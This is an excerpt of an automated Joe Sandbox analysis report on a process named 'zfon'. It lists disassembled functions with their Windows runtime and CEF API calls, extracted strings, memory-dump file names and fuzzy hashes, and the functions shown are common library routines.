Opcode Fuzzy Hash: 056f7ce24c9a02fb08967ba7ebef161081805b5f1a36d64d6cbfd7b45a579add
Instruction Fuzzy Hash: AD513676E18A569AFB10CBA8E8A05BCB7B5BB043C4F504136DB0D67A98EF2CE545C740

Function 00007FF8B9105A20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B9105A60

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B9105AE7
_Maklocstr.LIBCPMT ref: 00007FF8B9105B26
_Maklocstr.LIBCPMT ref: 00007FF8B9105B40
_Getvals.LIBCPMT ref: 00007FF8B9105C3A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B9105C41

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Strings

,, xrefs: 00007FF8B9105B8F
false, xrefs: 00007FF8B9105B1F
true, xrefs: 00007FF8B9105B39

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Maklocstr$Concurrency::cancel_current_taskExceptionGetvalsThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funccalloclocaleconvstd::bad_alloc::bad_alloc
String ID: ,$false$true
API String ID: 2135902765-760133229
Opcode ID: 67ee8f4e636e21bca307c7727e2474fd631be0ead37d0a99a3418088d2fddda1
Instruction ID: 973a16b7867fbe4fa10d2e0acd8fbf67930c7910f2f734a147de3c3da89f4f87
Opcode Fuzzy Hash: 67ee8f4e636e21bca307c7727e2474fd631be0ead37d0a99a3418088d2fddda1
Instruction Fuzzy Hash: EE519222618BC192E761CF29F4402AAB774FB887A4F545222EBDE03765EF3CD185C700

Function 00007FF8B90F55B8 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F55E3

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90F563B
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90F567A
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90F56B4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B90F5712

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B90F5718
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B90F571D

Strings

false, xrefs: 00007FF8B90F5669
true, xrefs: 00007FF8B90F56A3

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Concurrency::cancel_current_taskcalloc$ExceptionThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funclocaleconvstd::bad_alloc::bad_alloc
String ID: false$true
API String ID: 2349454547-2658103896
Opcode ID: 5c88745e38c7f4b10ae99f2d41da75766dca5b299c890f36dbbf9fece8871ee5
Instruction ID: 421aa8544769f4fe547d103fa9146a6babc81386dfae7baf497d31c5a3ace082
Opcode Fuzzy Hash: 5c88745e38c7f4b10ae99f2d41da75766dca5b299c890f36dbbf9fece8871ee5
Instruction Fuzzy Hash: 4D41DE26B09BC181EF058F28A50437D67A1AB18FE8F144631CF6D037A4DE3CE5468340

Function 00007FF7F96F30C0 Relevance: 15.2, APIs: 10, Instructions: 197COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F31A0
memcpy.VCRUNTIME140 ref: 00007FF7F96F31BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F31DB
memmove.VCRUNTIME140 ref: 00007FF7F96F3211
memcpy.VCRUNTIME140 ref: 00007FF7F96F3227
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F3263
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3287
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3297
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F32A7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F32B4

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: 94660911d3f68742db9f2a705ee6932dc1207f5db5326e64da0827b37cbf373f
Instruction ID: 3fc6f86ce3c153bbf7b13a8e427834f209abd5b011d99dec537dbda8d488dc40
Opcode Fuzzy Hash: 94660911d3f68742db9f2a705ee6932dc1207f5db5326e64da0827b37cbf373f
Instruction Fuzzy Hash: 9871C072B04A4585EF14EFA5D8443ACA3B2EB45BE8F858535CE2D1B7DCEE28D445C3A0

Function 00007FF7F96F6260 Relevance: 15.2, APIs: 10, Instructions: 184COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F6334
memcpy.VCRUNTIME140 ref: 00007FF7F96F634F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F636F
memmove.VCRUNTIME140 ref: 00007FF7F96F63A5
memcpy.VCRUNTIME140 ref: 00007FF7F96F63BB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F63EA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F63FA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F640A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F6417
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F6473

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: a0db33fac5e6835a1dc61bc8a7e5a05f80c65bcac56fb400c604ab9ae7a959c3
Instruction ID: acd9a3a5a28eb7670de7044133d8a8b0cbe5346b07318aae4595f9da5c45c208
Opcode Fuzzy Hash: a0db33fac5e6835a1dc61bc8a7e5a05f80c65bcac56fb400c604ab9ae7a959c3
Instruction Fuzzy Hash: 37719F62F04B4985FF14EFA5D8443ACA3B6AB44BD8F448535DE2E13BD9EE38D44583A0

Function 00007FF7F96E3900 Relevance: 15.2, APIs: 10, Instructions: 181COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E39EC
memcpy.VCRUNTIME140 ref: 00007FF7F96E3A07
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E3A1D
memmove.VCRUNTIME140 ref: 00007FF7F96E3A53
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E3A98
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E3AA8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E3AB8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E3AC5

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freemallocmemcpymemmove
String ID:
API String ID: 3118627126-0
Opcode ID: a5eecf85066caf2ca4082cf663a4b9832b071540062ec553897185a369b81ea1
Instruction ID: e3d5292c5efa772745df06b0cb06dede2f56491f86b8ba64bdfb70f86426fe43
Opcode Fuzzy Hash: a5eecf85066caf2ca4082cf663a4b9832b071540062ec553897185a369b81ea1
Instruction Fuzzy Hash: 6571C122B0565184FB14BF6298047BCA772AB08BE4F980635DE3E177DCDE3A94828365

Function 00007FF7F96F7390 Relevance: 15.2, APIs: 10, Instructions: 157COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7451
memcpy.VCRUNTIME140 ref: 00007FF7F96F746C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F748C
memmove.VCRUNTIME140 ref: 00007FF7F96F74C2
memcpy.VCRUNTIME140 ref: 00007FF7F96F74D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7521
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7545
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7555
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7565
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7572

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: 48611227ffe65498255d77a92fe453c963127f7771fe6b3153835a7e479890d6
Instruction ID: 7e9643776ecc64573fba65dcf0231b519422aa21ffb03f4e63b64b08050abdbe
Opcode Fuzzy Hash: 48611227ffe65498255d77a92fe453c963127f7771fe6b3153835a7e479890d6
Instruction Fuzzy Hash: 2551C366B04A4549FB14EF65E8143ACA3B2AB48BE8F844535DE3D17BDCEE3CD4468360

Function 00007FF7F96F3C00 Relevance: 15.2, APIs: 10, Instructions: 152COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F3CC0
memcpy.VCRUNTIME140 ref: 00007FF7F96F3CDB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F3CF1
memmove.VCRUNTIME140 ref: 00007FF7F96F3D27
memcpy.VCRUNTIME140 ref: 00007FF7F96F3D3D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F3D6D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3D91
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3DA1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3DB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F3DBE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: 473cb218bd9dcfae363dac5d456b711c7f5da966875aa11239a6934cc367b413
Instruction ID: 1bac6bb0258731db910c6f641a30561e167b203f18c0eb0dca87102ffadfd250
Opcode Fuzzy Hash: 473cb218bd9dcfae363dac5d456b711c7f5da966875aa11239a6934cc367b413
Instruction Fuzzy Hash: C451B122B04B5594FB14EFA5DC547ACA772BB44BE8F844535CE3D1BBDCEE2894418360

Function 00007FF7F96F7120 Relevance: 15.2, APIs: 10, Instructions: 152COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F71E0
memcpy.VCRUNTIME140 ref: 00007FF7F96F71FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7211
memmove.VCRUNTIME140 ref: 00007FF7F96F7247
memcpy.VCRUNTIME140 ref: 00007FF7F96F725D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F728D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F72B1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F72C1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F72D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F72DE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: a0b0a483a40065930cb5af480a41cea5525e6b7e5afa53a07aa8fb18f7aacd68
Instruction ID: caa73eab7dd5ccf4a4483915f96dfc31433fa5bf1546f69ca299592221929198
Opcode Fuzzy Hash: a0b0a483a40065930cb5af480a41cea5525e6b7e5afa53a07aa8fb18f7aacd68
Instruction Fuzzy Hash: C251C122B05A5584FF14EFA5DC443AC6372BB44BA8F884635DE3D17BDCEE2894418360

Function 00007FF7F96F75F0 Relevance: 15.2, APIs: 10, Instructions: 152COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F76B0
memcpy.VCRUNTIME140 ref: 00007FF7F96F76CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F76E1
memmove.VCRUNTIME140 ref: 00007FF7F96F7717
memcpy.VCRUNTIME140 ref: 00007FF7F96F772D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F775D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7781
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7791
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F77A1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F77AE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID:
API String ID: 2024851785-0
Opcode ID: a5d4da3a4cc675d36da3e907575d5a8726f3eac4e27f902efdbd2ea72aec7a8d
Instruction ID: 6628fb9607c248f540299b823e21571818948bfa3bad17bc8e4e0cea8bdca906
Opcode Fuzzy Hash: a5d4da3a4cc675d36da3e907575d5a8726f3eac4e27f902efdbd2ea72aec7a8d
Instruction Fuzzy Hash: A651CF26B04B5584FB14EFA5DC543ACA3B2BB48BE8F944635CE3D17BDCEE2894418360

Function 00007FF8BFAD12D0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD138A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD13A9
memmove.VCRUNTIME140 ref: 00007FF8BFAD13CA
__AdjustPointer.LIBCMT ref: 00007FF8BFAD13EA
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD13F7
__AdjustPointer.LIBCMT ref: 00007FF8BFAD1433
memmove.VCRUNTIME140 ref: 00007FF8BFAD1441
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD1448
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD148D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD1494

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abort$AdjustPointermemmove
String ID:
API String ID: 338301193-0
Opcode ID: f4bbd506810e8ff949f1732fb6d8e1104fd3c67bd08d81a126e8d7f4640ce5bc
Instruction ID: c943a23cbe33f84703e6316359f9db1309af545f0a574be1968c24bee9d77256
Opcode Fuzzy Hash: f4bbd506810e8ff949f1732fb6d8e1104fd3c67bd08d81a126e8d7f4640ce5bc
Instruction Fuzzy Hash: 835182A9A0AA4283FABDDBDDD44657C6BA8EF44BCCF09A435DB4D06AC5DE2CD4418310

Function 00007FF7F96E9810 Relevance: 15.1, APIs: 10, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F9703550: cef_string_map_alloc.LIBCEF(?,?,?,?,00007FF7F96E7544), ref: 00007FF7F9703554

memset.VCRUNTIME140 ref: 00007FF7F96E98C2
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E98EB
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9904
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9920
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E993A
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E99BD
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9A0C
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9A15
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9A1E
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E9A27

Part of subcall function 00007FF7F96E4880: new.LIBCMT ref: 00007FF7F96E48B8

Part of subcall function 00007FF7F9709CE0: new.LIBCMT ref: 00007FF7F9709CF4

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
